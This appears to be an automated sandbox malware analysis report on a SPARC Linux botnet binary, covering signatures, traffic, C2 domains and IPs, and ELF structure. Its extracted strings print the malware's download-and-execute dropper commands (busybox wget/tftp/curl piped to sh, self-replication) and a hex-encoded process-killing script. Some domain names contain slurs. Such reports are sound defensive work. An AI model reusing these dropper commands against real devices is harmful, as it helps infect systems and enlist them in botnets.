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Linux Analysis Report
nabspc.elf

Overview

General Information

Sample name:	nabspc.elf
Analysis ID:	1543600
MD5:	07c5c7f4c06dc107a9577e3b8edaf824
SHA1:	de1c6f5211dbc7405b9040804ce73754e6d1a86d
SHA256:	2d95e19de83aca439f517f1a40265e182a0441fd3cab7e8c5d12469911996019
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543600
Start date and time:	2024-10-28 07:50:03 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	nabspc.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/118@24/0

Runtime Messages

Command:	/tmp/nabspc.elf
PID:	6262
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

nabspc.elf (PID: 6262, Parent: 6188, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/nabspc.elf

nabspc.elf New Fork (PID: 6264, Parent: 6262)

nabspc.elf New Fork (PID: 6266, Parent: 6264)

nabspc.elf New Fork (PID: 6268, Parent: 6264)

nabspc.elf New Fork (PID: 6269, Parent: 6264)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: nabspc.elf

ReversingLabs: Detection: 42%

Source: nabspc.elf

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: global traffic	DNS traffic detected: malformed DNS query: netfags.geek. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: burnthe.libre. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: yellowchink.pirate. [malformed]

Source: global traffic	TCP traffic: 192.168.2.23:49454 -> 45.156.86.24:38241
Source: global traffic	TCP traffic: 192.168.2.23:49318 -> 45.156.86.26:38241

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 93.19.185.215
Source: unknown	TCP traffic detected without corresponding DNS query: 99.103.122.28
Source: unknown	TCP traffic detected without corresponding DNS query: 122.103.184.196
Source: unknown	TCP traffic detected without corresponding DNS query: 93.19.185.215
Source: unknown	TCP traffic detected without corresponding DNS query: 99.103.122.28
Source: unknown	TCP traffic detected without corresponding DNS query: 185.22.58.156
Source: unknown	TCP traffic detected without corresponding DNS query: 122.103.184.196
Source: unknown	TCP traffic detected without corresponding DNS query: 215.144.216.213
Source: unknown	TCP traffic detected without corresponding DNS query: 185.22.58.156
Source: unknown	TCP traffic detected without corresponding DNS query: 199.103.180.131
Source: unknown	TCP traffic detected without corresponding DNS query: 215.144.216.213
Source: unknown	TCP traffic detected without corresponding DNS query: 148.216.30.228
Source: unknown	TCP traffic detected without corresponding DNS query: 199.103.180.131
Source: unknown	TCP traffic detected without corresponding DNS query: 7.208.35.231
Source: unknown	TCP traffic detected without corresponding DNS query: 148.216.30.228
Source: unknown	TCP traffic detected without corresponding DNS query: 175.47.98.34
Source: unknown	TCP traffic detected without corresponding DNS query: 47.134.253.22
Source: unknown	TCP traffic detected without corresponding DNS query: 7.208.35.231
Source: unknown	TCP traffic detected without corresponding DNS query: 180.238.123.37
Source: unknown	TCP traffic detected without corresponding DNS query: 175.47.98.34
Source: unknown	TCP traffic detected without corresponding DNS query: 165.154.199.32
Source: unknown	TCP traffic detected without corresponding DNS query: 47.134.253.22
Source: unknown	TCP traffic detected without corresponding DNS query: 105.167.97.152
Source: unknown	TCP traffic detected without corresponding DNS query: 199.12.8.99
Source: unknown	TCP traffic detected without corresponding DNS query: 180.238.123.37
Source: unknown	TCP traffic detected without corresponding DNS query: 98.205.161.203
Source: unknown	TCP traffic detected without corresponding DNS query: 165.154.199.32
Source: unknown	TCP traffic detected without corresponding DNS query: 79.202.112.133
Source: unknown	TCP traffic detected without corresponding DNS query: 105.167.97.152
Source: unknown	TCP traffic detected without corresponding DNS query: 177.12.25.130
Source: unknown	TCP traffic detected without corresponding DNS query: 199.12.8.99
Source: unknown	TCP traffic detected without corresponding DNS query: 31.253.249.67
Source: unknown	TCP traffic detected without corresponding DNS query: 98.205.161.203
Source: unknown	TCP traffic detected without corresponding DNS query: 30.22.246.171
Source: unknown	TCP traffic detected without corresponding DNS query: 79.202.112.133
Source: unknown	TCP traffic detected without corresponding DNS query: 178.186.25.91
Source: unknown	TCP traffic detected without corresponding DNS query: 177.12.25.130
Source: unknown	TCP traffic detected without corresponding DNS query: 109.39.192.34
Source: unknown	TCP traffic detected without corresponding DNS query: 31.253.249.67
Source: unknown	TCP traffic detected without corresponding DNS query: 138.249.35.161
Source: unknown	TCP traffic detected without corresponding DNS query: 30.22.246.171
Source: unknown	TCP traffic detected without corresponding DNS query: 138.78.150.125
Source: unknown	TCP traffic detected without corresponding DNS query: 178.186.25.91
Source: unknown	TCP traffic detected without corresponding DNS query: 61.54.127.48
Source: unknown	TCP traffic detected without corresponding DNS query: 109.39.192.34
Source: unknown	TCP traffic detected without corresponding DNS query: 83.161.250.151
Source: unknown	TCP traffic detected without corresponding DNS query: 138.249.35.161
Source: unknown	TCP traffic detected without corresponding DNS query: 200.223.218.193
Source: unknown	TCP traffic detected without corresponding DNS query: 138.78.150.125
Source: unknown	TCP traffic detected without corresponding DNS query: 208.104.64.29

Source: global traffic	DNS traffic detected: DNS query: netfags.geek
Source: global traffic	DNS traffic detected: DNS query: burnthe.libre
Source: global traffic	DNS traffic detected: DNS query: yellowchink.pirate
Source: global traffic	DNS traffic detected: DNS query: netfags.geek. [malformed]
Source: global traffic	DNS traffic detected: DNS query: burnthe.libre. [malformed]
Source: global traffic	DNS traffic detected: DNS query: yellowchink.pirate. [malformed]

Source: nabspc.elf	String found in binary or memory: http:///curl.sh
Source: nabspc.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/tmp//var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6285/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6285/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6285/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6285/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6296/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6296/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6296/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6296/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6284/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6284/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6284/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6284/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6295/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6295/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6295/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6295/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6287/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6287/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6287/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6287/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6286/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6286/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6286/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6286/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6297/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6297/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6297/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6297/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6289/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6289/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6289/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6289/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6288/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6288/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6288/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6288/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6334/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6334/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6290/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6290/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6290/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6290/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6292/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6292/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6292/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6292/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6291/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6291/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6291/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6291/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6283/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6283/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6294/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6294/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6294/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6294/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6293/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6293/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6293/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6268)	File opened: /proc/6293/cmdline	Jump to behavior

Source: nabspc.elf, 6262.1.0000563ff4d4b000.0000563ff4dd0000.rw-.sdmp, nabspc.elf, 6266.1.0000563ff4d4b000.0000563ff4dd0000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sparc
Source: nabspc.elf, 6262.1.0000563ff4d4b000.0000563ff4dd0000.rw-.sdmp, nabspc.elf, 6266.1.0000563ff4d4b000.0000563ff4dd0000.rw-.sdmp	Binary or memory string: ?V!/etc/qemu-binfmt/sparc
Source: nabspc.elf, 6262.1.00007fff19a82000.00007fff19aa3000.rw-.sdmp, nabspc.elf, 6266.1.00007fff19a82000.00007fff19aa3000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sparc
Source: nabspc.elf, 6262.1.00007fff19a82000.00007fff19aa3000.rw-.sdmp, nabspc.elf, 6266.1.00007fff19a82000.00007fff19aa3000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sparc/tmp/nabspc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nabspc.elf

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

IP	Domain	Country	ASN	ASN Name	Malicious
157.134.173.28	unknown	United States	600	OARNET-ASUS	false
181.38.69.155	unknown	Panama	262227	ClaroPanamaSAPA	false
123.144.44.139	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
145.184.209.84	unknown	Netherlands	59524	KPN-IAASNL	false
122.117.116.145	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
94.133.215.111	unknown	Portugal	2860	NOS_COMUNICACOESPT	false
179.229.131.34	unknown	Brazil	26599	TELEFONICABRASILSABR	false
197.150.23.123	unknown	Egypt	37069	MOBINILEG	false
156.55.35.133	unknown	United States	22146	LANDAMUS	false
90.48.35.119	unknown	France	3215	FranceTelecom-OrangeFR	false
193.137.140.152	unknown	Portugal	1930	RCCNFundacaoparaaCienciaeaTecnologiaIPPT	false
222.27.106.175	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
23.43.203.88	unknown	United States	20940	AKAMAI-ASN1EU	false
78.113.175.21	unknown	France	8228	CEGETEL-ASFR	false
163.11.242.222	unknown	United States	600	OARNET-ASUS	false
217.122.242.80	unknown	Netherlands	33915	TNF-ASNL	false
202.207.174.219	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
40.236.27.180	unknown	United States	4249	LILLY-ASUS	false
119.192.107.82	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
208.87.213.76	unknown	United States	40612	SWITCHFLY-40612-ASUS	false
6.97.184.38	unknown	United States	3356	LEVEL3US	false
198.244.7.173	unknown	United States	18630	RIDLEYSD-NETUS	false
53.197.191.7	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
13.204.247.148	unknown	United States	7018	ATT-INTERNET4US	false
72.104.151.217	unknown	United States	22394	CELLCOUS	false
119.75.52.143	unknown	Singapore	3758	SINGNETSingNetSG	false
103.80.85.1	unknown	Spain	201942	SOLTIAES	false
92.151.56.149	unknown	France	3215	FranceTelecom-OrangeFR	false
74.76.71.124	unknown	United States	11351	TWC-11351-NORTHEASTUS	false
213.136.70.69	unknown	Germany	51167	CONTABODE	false
2.124.65.15	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
45.156.86.26	unknown	Germany	44592	SKYLINKNL	false
45.156.86.24	netfags.geek	Germany	44592	SKYLINKNL	true
98.0.105.112	unknown	United States	11351	TWC-11351-NORTHEASTUS	false
97.160.17.63	unknown	United States	6167	CELLCO-PARTUS	false
146.165.135.121	unknown	United States	1254	AS1254US	false
156.164.137.206	unknown	Egypt	36992	ETISALAT-MISREG	false
58.33.185.11	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
214.159.134.130	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
92.33.97.115	unknown	Sweden	2119	TELENOR-NEXTELTelenorNorgeASNO	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
45.156.86.24	nabm68k.elf	Get hash	malicious	Unknown	Browse
	zerm68k.elf	Get hash	malicious	Unknown	Browse
	zerx86.elf	Get hash	malicious	Unknown	Browse
	zermpsl.elf	Get hash	malicious	Unknown	Browse
	zerm68k.elf	Get hash	malicious	Unknown	Browse
	nabarm7.elf	Get hash	malicious	Unknown	Browse
	zerspc.elf	Get hash	malicious	Unknown	Browse
	nabm68k.elf	Get hash	malicious	Unknown	Browse
	zerarm.elf	Get hash	malicious	Unknown	Browse
	zerarm5.elf	Get hash	malicious	Unknown	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
netfags.geek	jklm68k.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
burnthe.libre	nklmpsl.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nklarm.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nklmips.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
yellowchink.pirate	nklx86.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nklarm.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nklmips.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	zerm68k.elf	Get hash	malicious	Unknown	Browse	45.156.86.24

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	nabspc.elf	false		unknown
http:///curl.sh	nabspc.elf	false		unknown

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	jklx86.elf	Get hash	malicious	Unknown	Browse	14.205.16.14
	nklx86.elf	Get hash	malicious	Unknown	Browse	42.180.158.20
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	123.148.206.68
	nklarm.elf	Get hash	malicious	Unknown	Browse	222.132.76.51
	arm7.elf	Get hash	malicious	Unknown	Browse	120.5.57.81
	nklppc.elf	Get hash	malicious	Unknown	Browse	1.61.13.8
	nklmips.elf	Get hash	malicious	Unknown	Browse	58.144.75.225
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	171.38.195.147
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	112.83.198.191
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	171.125.60.247
ClaroPanamaSAPA	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	181.178.70.182
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	181.178.222.205
	mips.elf	Get hash	malicious	Unknown	Browse	181.38.228.13
	PnjGB63sit.elf	Get hash	malicious	Mirai	Browse	181.38.102.25
	m68k.elf	Get hash	malicious	Mirai	Browse	181.38.31.141
	vQPpTr8mfm.elf	Get hash	malicious	Mirai	Browse	181.38.78.197
	ahN4x3ahps.elf	Get hash	malicious	Mirai	Browse	181.178.134.209
	q9WhhN00yY.elf	Get hash	malicious	Unknown	Browse	181.179.87.143
	I6e9WczGlf.elf	Get hash	malicious	Mirai	Browse	181.38.78.186
	bot.mpsl.elf	Get hash	malicious	Mirai	Browse	181.38.31.125
KPN-IAASNL	ppc.elf	Get hash	malicious	Mirai, Moobot	Browse	145.164.212.144
	nabarm7.elf	Get hash	malicious	Unknown	Browse	145.177.254.196
	splspc.elf	Get hash	malicious	Unknown	Browse	145.188.155.47
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	145.162.28.56
	kkkarm.elf	Get hash	malicious	Unknown	Browse	145.163.35.243
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	145.179.29.216
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	145.189.137.93
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	145.183.86.208
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	145.172.65.0
	K3Kvd8JYGV.elf	Get hash	malicious	Unknown	Browse	145.166.208.53
OARNET-ASUS	jklarm5.elf	Get hash	malicious	Unknown	Browse	205.133.201.9
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	157.134.238.62
	splmpsl.elf	Get hash	malicious	Unknown	Browse	136.227.230.51
	arm7.elf	Get hash	malicious	Mirai	Browse	157.135.242.119
	kkkarm.elf	Get hash	malicious	Unknown	Browse	163.11.124.20
	kkkx86.elf	Get hash	malicious	Unknown	Browse	192.153.62.184
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	138.28.129.71
	3HOhJoCrj5.elf	Get hash	malicious	Unknown	Browse	138.28.232.38
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	143.247.216.91
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	143.246.240.128

Process:	/tmp/nabspc.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.160332258180993
Encrypted:	false
SSDEEP:	6:MuVDFxdTY/V05sDFLBgY/VNz/VfKoO/VNfiY/VH:MuVP5ExTal
MD5:	4576FB9CB2B28955FF0EC575FF292501
SHA1:	A803EA1440C620A9D6069BF226ECFDD9DF338575
SHA-256:	1A968A0E748B484B4DD302EF2655D559AEBEE826D3E242B2C7B3C43C26617434
SHA-512:	3E374CE6C2320881C45AF3D29CFE8E750C786E0D762396AFB6344830B4B41D1D533C5EF1E22117DA42B0351BCF682F56651A380AFB6D618D7D708A7D5EACA431
Malicious:	false
Reputation:	low
Preview:	10000-1c000 r-xp 00000000 fd:00 531606 /tmp/..2c000-2d000 rw-p 0000c000 fd:00 531606 /tmp/..2d000-2f000 rw-p 00000000 00:00 0 .2f000-30000 rw-p 00000000 00:00 0 .ff7fe000-ff7ff000 ---p 00000000 00:00 0 .ff7ff000-fffff000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.78483639094524
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	nabspc.elf
File size:	50'040 bytes
MD5:	07c5c7f4c06dc107a9577e3b8edaf824
SHA1:	de1c6f5211dbc7405b9040804ce73754e6d1a86d
SHA256:	2d95e19de83aca439f517f1a40265e182a0441fd3cab7e8c5d12469911996019
SHA512:	c982c2dcb729f89d34fe40446abf5654b8ed4c8361b9441326303d644743f9f146b32b7df764c20906af6b9cb13099e106a4655b3130e7ca4b7cd44377eaac82
SSDEEP:	768:qXotFZe+Dl3epdNUn9wtqZbE/4zlzMO+VVrtLgH4MLhX:qX8FZeKl3epdNUnqtq6gZ2V9CH4MLhX
TLSH:	9C234C21BAB59C17C4C9643FA0E74739B2F5570A60B8CB2A3E711E8CFB5098435179F6
File Content Preview:	.ELF...........................4.........4. ...(.......................x...x...........................\|... ........dt.Q................................@..(....@.'.................#.....a...`.....!..... ...@.....".........`......$ ... ...@...........`....

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	Sparc
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x101a4
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	49600
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10094	0x94	0x1c	0x0	0x6	AX	4
.text	PROGBITS	0x100b0	0xb0	0x9f6c	0x0	0x6	AX	4
.fini	PROGBITS	0x1a01c	0xa01c	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x1a030	0xa030	0x1148	0x0	0x2	A	8
.ctors	PROGBITS	0x2c000	0xc000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x2c008	0xc008	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x2c010	0xc010	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x2c018	0xc018	0x164	0x0	0x3	WA	8
.bss	NOBITS	0x2c180	0xc17c	0x11a0	0x0	0x3	WA	8
.shstrtab	STRTAB	0x0	0xc17c	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000	0x10000	0xb178	0xb178	6.1130	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xc000	0x2c000	0x2c000	0x17c	0x1320	0.6800	0x6	RW	0x10000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

